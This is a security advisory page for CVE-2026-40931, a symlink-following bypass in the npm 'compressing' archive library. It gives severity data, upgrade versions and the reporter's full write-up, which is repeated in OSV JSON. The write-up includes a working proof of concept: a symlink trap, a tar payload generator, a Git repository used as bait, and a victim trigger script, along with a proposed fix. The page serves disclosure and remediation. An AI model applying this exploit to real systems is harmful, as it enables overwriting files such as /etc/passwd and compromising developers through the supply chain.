CVE-2026-40931: Compressing Complete Bypass Of CVE-2026-24884 Patch Vulnerability

HIGH
Advisory Identifier: GHSA-4c3q-x735-j3r5
CVSS 8.4
CWE-59
Published
Advisory Summary

CVE-2026-40931 is a HIGH (CVSS 8.4) complete bypass of cve-2026-24884 patch vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Compressing libraries in the npm ecosystem. The issue involves complete bypass of cve-2026-24884 patch via git-delivered symlink poisoning in compressing. Remediation is available by upgrading affected packages to version 2.1.1, 1.10.5.

CVE-2026-40931 at a Glance

CVE Identifier CVE-2026-40931
GHSA Identifier GHSA-4c3q-x735-j3r5
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Compressing
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40931

To remediate this vulnerability, upgrade all affected Compressing dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

compressing fixed: 2.1.1
npm install compressing@2.1.1
compressing fixed: 1.10.5
npm install compressing@1.10.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls compressing

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-40931, inspect your project dependencies using npm:

npm ls compressing

Analyze the terminal output to locate any version of Compressing in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.1), your application is affected.

Note: The npm ls compressing command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Compressing, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**1. Executive Summary** This report documents a critical security research finding in the `compressing` npm package (specifically tested on the latest **v2.1.0**). The core vulnerability is a **Partial Fix Bypass** of **CVE-2026-24884**. The current patch relies on a purely logical string validation within the `isPathWithinParent` utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the **actual filesystem state**. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links). **Key Findings:** * **Vulnerable Component:** `lib/utils.js` -> `isPathWithinParent()` * **Flaw Type:** Incomplete validation (lack of recursive `lstat` checks). * **Primary Attack Vector:** **Supply Chain via Git Clone** The attack requires zero victim interaction beyond standard developer workflow (`git clone` + `node app.js`). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access. * **Result:** Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version. **2. Deep-Dive: Technical Root Cause Analysis** The vulnerability exists because of a fundamental disconnect between how the library **validates** a path and how the Operating System **executes** a write to that path. * **1. Logical Abstraction (The "String" World)** The developer uses `path.resolve(childPath)` to sanitize input. In Node.js, `path.resolve` is a literal string manipulator. It calculates an absolute path by processing `..` and `.` segments relative to each other. * **The Limitation:** `path.resolve` does **NOT** look at the disk. It does not know if a folder named `config` is a real folder or a symbolic link. * **The Result:** If the extraction target is `/app/out` and the entry is c`onfig/passwd`, `path.resolve` returns `/app/out/config/passwd`. Since this string starts with `/app/out/`, the security check returns **TRUE**. * **2. Physical Reality (The "Filesystem" World)** When the library proceeds to write the file using `fs.writeFile('/app/out/config/passwd', data)`, the execution is handed over to the Operating System's filesystem kernel. * **The Redirection:** If the attacker has pre-created a symbolic link on the disk at `/app/out/config` pointing to `/etc`, the OS kernel sees the write request and follows the link. * **The Divergence:** The OS resolves the path to `/etc/passwd`. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area. * **3. Visual Logic Flow** <img width="6582" height="3095" alt="Malicious Archive Exploit-2026-04-12-135626" src="https://github.com/user-attachments/assets/7c8235c3-f717-4296-b8e7-d6d498285fb2" /> * **4. Comparison with Industry Standards (`node-tar`)** A secure implementation (like `node-tar`) uses an **"Atomic Check"** strategy. Instead of trusting a string path, it iterates through every directory segment and calls `fs.lstatSync()`. If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. `compressing` lacks this critical recursive verification step. * **5. Git Clone as a Delivery Mechanism:** Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is "pre-planted" automatically by git itself, removing any prerequisite of prior system access. **3. Comprehensive Attack Vector & Proof of Concept** **PoC Overview:** The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical: * No social engineering required beyond a standard git clone. * The symlink is "pre-planted" by Git itself, removing the need for prior system access. * Victim's workflow remains indistinguishable from legitimate activity. **Step 1: Environment Preparation (Victim System)** >TIP **Prerequisite:** Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a `MODULE_NOT_FOUND` error for `tar-stream` or `compressing`, `run: npm install `compressing@2.1.0 tar-stream` in your current working directory. Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS. ``` # Workspace setup mkdir -p ~/poc-workspace cd ~/poc-workspace # 1. Create a fake sensitive file mkdir -p /tmp/fake_root/etc echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd # 2. Install latest vulnerable library npm install compressing@2.1.0 tar-stream ``` **Step 2: Attacker Side (Repo & Payload)** **2.1 Create the poisoned GitHub Repository** 1. Create a repo named `compressing_poc_test` on GitHub. 2. On your local machine, setup the malicious content: ``` mkdir compressing_poc_test cd compressing_poc_test git init # CREATE THE TRAP: A symlink pointing to the sensitive target ln -s /tmp/fake_root/etc/passwd config_file # Setup Git git branch -M main git remote add origin https://github.com/USERNAME/compressing_poc_test.git ``` **2.2 Generate the Malicious Payload** Create a script `gen_payload.js` inside the parent folder (`~/poc-workspace`) to generate the exploit file: ``` const tar = require('tar-stream'); const fs = require('fs'); const pack = tar.pack(); // PAYLOAD: A plain file that matches the symlink name pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n'); pack.finalize(); pack.pipe(fs.createWriteStream('./payload.tar')); console.log('payload.tar generated successfully!'); ``` **Run the script to create the payload:** ``` node gen_payload.js ``` _This will create a **payload.tar** file in your current directory._ **2.3 Push Bait & Payload to GitHub** Now, move the generated payload into your repo folder and push everything to GitHub: ``` # Move the payload into the repo folder mv ../payload.tar . # Add all files (config_file symlink and payload.tar) git add . git commit -m "Add project updates and resource assets" git push -u origin main ``` > For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git **Step 3: Victim Side (The Compromise)** The victim clones the repo and runs an application that extracts the included `payload.tar`. ``` # 1. Simulate a developer cloning the repo cd ~/poc-workspace # In a real attack, the victim clones from your GitHub URL git clone https://github.com/USERNAME/compressing_poc_test.git victim_app cd victim_app # 2. Create the Trigger script (victim_app.js) cat <<EOF > victim_app.js const compressing = require('compressing'); async function extractUpdate() { console.log('--- Victim: Extracting Update Package ---'); try { // This triggers the bypass because 'config_file' already exists as a symlink await compressing.tar.uncompress('./payload.tar', './'); console.log('[+] Update Successful!'); } catch (err) { console.error('[-] Error:', err); } } extractUpdate(); EOF # 3. VERIFY THE OVERWRITE echo "--- Before Exploit ---" cat /tmp/fake_root/etc/passwd # 4. Run the victim_app.js node victim_app.js # 5. After Exploit Run echo "--- After Exploit ---" cat /tmp/fake_root/etc/passwd ``` **Why this bypass works** * **The Library's Logic:** `compressing` uses `path.resolve` on entry names and compares them string-wise with the destination directory. * **The Gap:** Because `path.resolve` does not check if intermediate directories are symlinks on disk, it treats `config_file` (the symlink) as a normal path inside the allowed directory. * **The Result:** The underlying `fs.writeFile` follows the existing symlink to the protected target (`/tmp/fake_root/etc/passwd`), bypassing all string-based security checks. <img width="733" height="126" alt="01_malicious_symlink_proof" src="https://github.com/user-attachments/assets/a24b5844-8efd-4f5c-8ee6-9cbbffee6ceb" /> <img width="780" height="111" alt="02_malicious_payload_content" src="https://github.com/user-attachments/assets/a20ef72b-35c9-4355-8583-08a3e9467d4a" /> <img width="888" height="111" alt="03_vulnerable_version_proof" src="https://github.com/user-attachments/assets/5e6864ce-fe48-4327-be2f-1bea8e8ba800" /> <img width="921" height="294" alt="04_exploit_success_verification" src="https://github.com/user-attachments/assets/3b4bc21e-55de-42b2-b819-8d7c0e90b055" /> **4. Impact Assessment** **What kind of vulnerability is it?** This is an **Arbitrary File Overwrite** vulnerability caused by a **Symlink Path Traversal** bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks). **Who is impacted?** **1. Developers & Organizations:** Any user of the `compressing` library (up to **v2.1.0**) who extracts untrusted archives into a working directory. **2. Supply Chain via Git Clone (Primary Vector):** Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository. **3. Privileged Environments:** Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like `/etc/passwd` or `/etc/shadow`. **Impact Details** * **Privilege Escalation:** Gaining root access by overwriting system configuration files. * **Remote Code Execution (RCE):** Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login. * **Data Corruption:** Permanent loss or modification of application data and database files. * **Reputational Damage to Library:** Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE. **5. Technical Remediation & Proposed Fix** To completely fix this vulnerability, the library must transition from **String-based validation** to **State-aware validation**. **1. The Vulnerable Code (Current Incomplete Patch)** The current logic in **lib/utils.js** only checks the path string: ``` // [VULNERABLE] Does not check if disk segments are symlinks function isPathWithinParent(childPath, parentPath) { const normalizedChild = path.resolve(childPath); const normalizedParent = path.resolve(parentPath); // ... (omitted startsWith check) return normalizedChild.startsWith(parentWithSep); } ``` **2. The Proposed Fix (Complete Mitigation)** The library must recursively check every component of the path on the disk using `fs.lstatSync` to ensure no component is a symbolic link that redirects to a location outside the root. ``` const fs = require('fs'); const path = require('path'); /** * SECURE VALIDATION: Checks every segment of the path on disk * to prevent symlink-based directory poisoning. */ function secureIsPathWithinParent(childPath, parentPath) { const absoluteDest = path.resolve(parentPath); const absoluteChild = path.resolve(childPath); // Basic string check first if (!absoluteChild.startsWith(absoluteDest + path.sep) && absoluteChild !== absoluteDest) { return false; } // RECURSIVE DISK CHECK // Iteratively check every directory segment from the root to the file let currentPath = absoluteDest; const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep); for (const part of relativeParts) { if (!part || part === '.') continue; currentPath = path.join(currentPath, part); try { const stats = fs.lstatSync(currentPath); // IF ANY COMPONENT IS A SYMLINK, REJECT IT if (stats.isSymbolicLink()) { throw new Error(`Security Exception: Symlink detected at ${currentPath}`); } } catch (err) { if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine throw err; } } return true; } ``` **3. Why and How it works:** * **Filesystem Awareness:** Unlike the previous fix, this code uses `fs.lstatSync`. It doesn't trust the string; it asks the Operating System, "What is actually at this location?". * **Segmented Verification:** By splitting the path and checking each part (`config`, then `config/file`), it catches the "Poisoned Directory" (`config -> /etc`) before the final write happens. * **Bypass Prevention:** Even if the string check passes, the loop will detect the symlink at the `config` segment and throw a security exception, stopping the `fs.writeFile` before it can follow the link to `/etc/passwd`. * **Atomic Security:** This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits. > **Note:** For production, it is recommended to use the asynchronous `fs.promises.lstat` to prevent blocking the Node.js event loop during recursive checks.

CVE-2026-40931 Affected Compressing Versions

2 component(s)
Fixed Versions:
2.1.11.10.5
Product / Package Ecosystem Affected Versions Fixed Version
compressing
npm
≥ 2.0.0
< 2.1.1
2.1.1
compressing
npm
< 1.10.5
1.10.5

References

Frequently Asked Questions

What is CVE-2026-40931?
CVE-2026-40931 is a security vulnerability in Compressing involving Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Compressing versions are affected?
Affected versions include releases prior to 2.1.1, 1.10.5 across affected packages: compressing.
What version fixes CVE-2026-40931?
Upgrading to 2.1.1, 1.10.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is compressing affected?
Yes, compressing is affected in releases prior to 2.1.1, 1.10.5. Upgrade your dependency to 2.1.1, 1.10.5 or later.
What is the CVSS score of CVE-2026-40931?
CVE-2026-40931 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40931?
CVE-2026-40931 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-40931?
Run the dependency tree command: 'npm ls compressing'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4c3q-x735-j3r5",
  "modified" : "2026-04-24T21:10:57Z",
  "published" : "2026-04-17T21:32:59Z",
  "aliases" : [ "CVE-2026-40931" ],
  "summary" : "Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing",
  "details" : "**1. Executive Summary**\nThis report documents a critical security research finding in the `compressing` npm package (specifically tested on the latest **v2.1.0**). The core vulnerability is a **Partial Fix Bypass** of **CVE-2026-24884**.\n\nThe current patch relies on a purely logical string validation within the `isPathWithinParent` utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the **actual filesystem state**. By exploiting this \"Logical vs. Physical\" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).\n\n**Key Findings:**\n\n* **Vulnerable Component:** `lib/utils.js` -> `isPathWithinParent()`\n* **Flaw Type:** Incomplete validation (lack of recursive `lstat` checks).\n* **Primary Attack Vector:** **Supply Chain via Git Clone** The attack requires zero victim interaction beyond standard developer workflow (`git clone` + `node app.js`). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.\n* **Result:** Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\nThe vulnerability exists because of a fundamental disconnect between how the library **validates** a path and how the Operating System **executes** a write to that path.\n\n* **1. Logical Abstraction (The \"String\" World)**\nThe developer uses `path.resolve(childPath)` to sanitize input. In Node.js, `path.resolve` is a literal string manipulator. It calculates an absolute path by processing `..` and `.` segments relative to each other.\n\n* **The Limitation:** `path.resolve` does **NOT** look at the disk. It does not know if a folder named `config` is a real folder or a symbolic link.\n* **The Result:** If the extraction target is `/app/out` and the entry is c`onfig/passwd`, `path.resolve` returns `/app/out/config/passwd`. Since this string starts with `/app/out/`, the security check returns **TRUE**.\n\n* **2. Physical Reality (The \"Filesystem\" World)**\nWhen the library proceeds to write the file using `fs.writeFile('/app/out/config/passwd', data)`, the execution is handed over to the Operating System's filesystem kernel.\n\n* **The Redirection:** If the attacker has pre-created a symbolic link on the disk at `/app/out/config` pointing to `/etc`, the OS kernel sees the write request and follows the link.\n* **The Divergence:** The OS resolves the path to `/etc/passwd`. The \"Security Guard\" (the library) thought it was writing to a local config folder, but the \"Executioner\" (the OS) followed the link into a sensitive system area.\n\n* **3. Visual Logic Flow**\n<img width=\"6582\" height=\"3095\" alt=\"Malicious Archive Exploit-2026-04-12-135626\" src=\"https://github.com/user-attachments/assets/7c8235c3-f717-4296-b8e7-d6d498285fb2\" />\n\n* **4. Comparison with Industry Standards (`node-tar`)**\nA secure implementation (like `node-tar`) uses an **\"Atomic Check\"** strategy. Instead of trusting a string path, it iterates through every directory segment and calls `fs.lstatSync()`. If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. `compressing` lacks this critical recursive verification step.\n\n* **5. Git Clone as a Delivery Mechanism:** Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is \"pre-planted\" automatically by git itself, removing any prerequisite of prior system access.\n\n**3. Comprehensive Attack Vector & Proof of Concept**\n\n**PoC Overview:** The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a \"poisoned path\" on their local disk. Why this is critical: \n* No social engineering required beyond a standard git clone.\n* The symlink is \"pre-planted\" by Git itself, removing the need for prior system access.\n* Victim's workflow remains indistinguishable from legitimate activity.\n\n**Step 1: Environment Preparation (Victim System)**\n>TIP\n**Prerequisite:** Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a `MODULE_NOT_FOUND` error for `tar-stream` or `compressing`, `run: npm install `compressing@2.1.0 tar-stream` in your current working directory.\n\nCreate a mock sensitive file to demonstrate the overwrite without damaging the actual OS.\n\n```\n# Workspace setup\nmkdir -p ~/poc-workspace\ncd ~/poc-workspace\n\n# 1. Create a fake sensitive file\nmkdir -p /tmp/fake_root/etc\necho \"root:SAFE_DATA_DO_NOT_OVERWRITE\" > /tmp/fake_root/etc/passwd\n\n# 2. Install latest vulnerable library\nnpm install compressing@2.1.0 tar-stream\n```\n\n**Step 2: Attacker Side (Repo & Payload)**\n\n**2.1 Create the poisoned GitHub Repository**\n1. Create a repo named `compressing_poc_test` on GitHub.\n2. On your local machine, setup the malicious content:\n\n```\nmkdir compressing_poc_test\ncd compressing_poc_test\ngit init\n# CREATE THE TRAP: A symlink pointing to the sensitive target\nln -s /tmp/fake_root/etc/passwd config_file\n# Setup Git\ngit branch -M main\ngit remote add origin https://github.com/USERNAME/compressing_poc_test.git\n```\n\n**2.2 Generate the Malicious Payload**\nCreate a script `gen_payload.js` inside the parent folder (`~/poc-workspace`) to generate the exploit file:\n\n```\nconst tar = require('tar-stream');\nconst fs = require('fs');\nconst pack = tar.pack();\n// PAYLOAD: A plain file that matches the symlink name\npack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\\n');\npack.finalize();\npack.pipe(fs.createWriteStream('./payload.tar'));\nconsole.log('payload.tar generated successfully!');\n```\n\n**Run the script to create the payload:**\n\n```\nnode gen_payload.js\n```\n_This will create a **payload.tar** file in your current directory._\n\n**2.3 Push Bait & Payload to GitHub**\nNow, move the generated payload into your repo folder and push everything to GitHub:\n\n```\n# Move the payload into the repo folder\nmv ../payload.tar .\n# Add all files (config_file symlink and payload.tar)\ngit add .\ngit commit -m \"Add project updates and resource assets\"\ngit push -u origin main\n```\n> For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git\n\n**Step 3: Victim Side (The Compromise)**\nThe victim clones the repo and runs an application that extracts the included `payload.tar`.\n\n```\n# 1. Simulate a developer cloning the repo\ncd ~/poc-workspace\n\n# In a real attack, the victim clones from your GitHub URL\ngit clone https://github.com/USERNAME/compressing_poc_test.git victim_app\ncd victim_app\n\n# 2. Create the Trigger script (victim_app.js)\n\ncat <<EOF > victim_app.js\nconst compressing = require('compressing');\nasync function extractUpdate() {\n    console.log('--- Victim: Extracting Update Package ---');\n    try {\n        // This triggers the bypass because 'config_file' already exists as a symlink\n        await compressing.tar.uncompress('./payload.tar', './');\n        console.log('[+] Update Successful!');\n    } catch (err) {\n        console.error('[-] Error:', err);\n    }\n}\nextractUpdate();\nEOF\n\n# 3. VERIFY THE OVERWRITE\necho \"--- Before Exploit ---\"\ncat /tmp/fake_root/etc/passwd\n\n# 4. Run the victim_app.js\nnode victim_app.js\n\n# 5. After Exploit Run\necho \"--- After Exploit ---\"\ncat /tmp/fake_root/etc/passwd\n```\n\n**Why this bypass works**\n\n* **The Library's Logic:** `compressing` uses `path.resolve` on entry names and compares them string-wise with the destination directory.\n* **The Gap:** Because `path.resolve` does not check if intermediate directories are symlinks on disk, it treats `config_file` (the symlink) as a normal path inside the allowed directory.\n* **The Result:** The underlying `fs.writeFile` follows the existing symlink to the protected target (`/tmp/fake_root/etc/passwd`), bypassing all string-based security checks.\n\n<img width=\"733\" height=\"126\" alt=\"01_malicious_symlink_proof\" src=\"https://github.com/user-attachments/assets/a24b5844-8efd-4f5c-8ee6-9cbbffee6ceb\" />\n\n<img width=\"780\" height=\"111\" alt=\"02_malicious_payload_content\" src=\"https://github.com/user-attachments/assets/a20ef72b-35c9-4355-8583-08a3e9467d4a\" />\n\n<img width=\"888\" height=\"111\" alt=\"03_vulnerable_version_proof\" src=\"https://github.com/user-attachments/assets/5e6864ce-fe48-4327-be2f-1bea8e8ba800\" />\n\n<img width=\"921\" height=\"294\" alt=\"04_exploit_success_verification\" src=\"https://github.com/user-attachments/assets/3b4bc21e-55de-42b2-b819-8d7c0e90b055\" />\n\n**4. Impact Assessment**\n\n**What kind of vulnerability is it?**\nThis is an **Arbitrary File Overwrite** vulnerability caused by a **Symlink Path Traversal** bypass. Specifically, it is a \"Partial Fix\" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).\n\n**Who is impacted?**\n**1. Developers & Organizations:** Any user of the `compressing` library (up to **v2.1.0**) who extracts untrusted archives into a working directory.\n\n**2. Supply Chain via Git Clone (Primary Vector):** Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.\n\n**3. Privileged Environments:** Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like `/etc/passwd` or `/etc/shadow`.\n\n**Impact Details**\n\n* **Privilege Escalation:** Gaining root access by overwriting system configuration files.\n* **Remote Code Execution (RCE):** Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.\n* **Data Corruption:** Permanent loss or modification of application data and database files.\n* **Reputational Damage to Library:** Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.\n\n**5. Technical Remediation & Proposed Fix**\nTo completely fix this vulnerability, the library must transition from **String-based validation** to **State-aware validation**.\n\n**1. The Vulnerable Code (Current Incomplete Patch)**\nThe current logic in **lib/utils.js** only checks the path string:\n\n```\n// [VULNERABLE] Does not check if disk segments are symlinks\nfunction isPathWithinParent(childPath, parentPath) {\n  const normalizedChild = path.resolve(childPath);\n  const normalizedParent = path.resolve(parentPath);\n  // ... (omitted startsWith check)\n  return normalizedChild.startsWith(parentWithSep);\n}\n```\n**2. The Proposed Fix (Complete Mitigation)**\nThe library must recursively check every component of the path on the disk using `fs.lstatSync` to ensure no component is a symbolic link that redirects to a location outside the root.\n\n```\nconst fs = require('fs');\nconst path = require('path');\n/**\n * SECURE VALIDATION: Checks every segment of the path on disk\n * to prevent symlink-based directory poisoning.\n */\nfunction secureIsPathWithinParent(childPath, parentPath) {\n  const absoluteDest = path.resolve(parentPath);\n  const absoluteChild = path.resolve(childPath);\n  // Basic string check first\n  if (!absoluteChild.startsWith(absoluteDest + path.sep) && \n      absoluteChild !== absoluteDest) {\n    return false;\n  }\n  // RECURSIVE DISK CHECK\n  // Iteratively check every directory segment from the root to the file\n  let currentPath = absoluteDest;\n  const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);\n  for (const part of relativeParts) {\n    if (!part || part === '.') continue;\n    currentPath = path.join(currentPath, part);\n    try {\n      const stats = fs.lstatSync(currentPath);\n      // IF ANY COMPONENT IS A SYMLINK, REJECT IT\n      if (stats.isSymbolicLink()) {\n        throw new Error(`Security Exception: Symlink detected at ${currentPath}`);\n      }\n    } catch (err) {\n      if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine\n      throw err;\n    }\n  }\n  return true;\n}\n```\n\n**3. Why and How it works:**\n\n* **Filesystem Awareness:** Unlike the previous fix, this code uses `fs.lstatSync`. It doesn't trust the string; it asks the Operating System, \"What is actually at this location?\".\n* **Segmented Verification:** By splitting the path and checking each part (`config`, then `config/file`), it catches the \"Poisoned Directory\" (`config -> /etc`) before the final write happens.\n* **Bypass Prevention:** Even if the string check passes, the loop will detect the symlink at the `config` segment and throw a security exception, stopping the `fs.writeFile` before it can follow the link to `/etc/passwd`.\n* **Atomic Security:** This implementation ensures that the logical path and the physical path are identical, leaving no room for \"Divergence\" exploits.\n\n> **Note:** For production, it is recommended to use the asynchronous `fs.promises.lstat` to prevent blocking the Node.js event loop during recursive checks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "compressing"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.0"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "compressing"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.10.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/compressing/security/advisories/GHSA-4c3q-x735-j3r5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40931"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/node-modules/compressing"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-17T21:32:59Z",
    "nvd_published_at" : "2026-04-21T22:16:19Z"
  }
}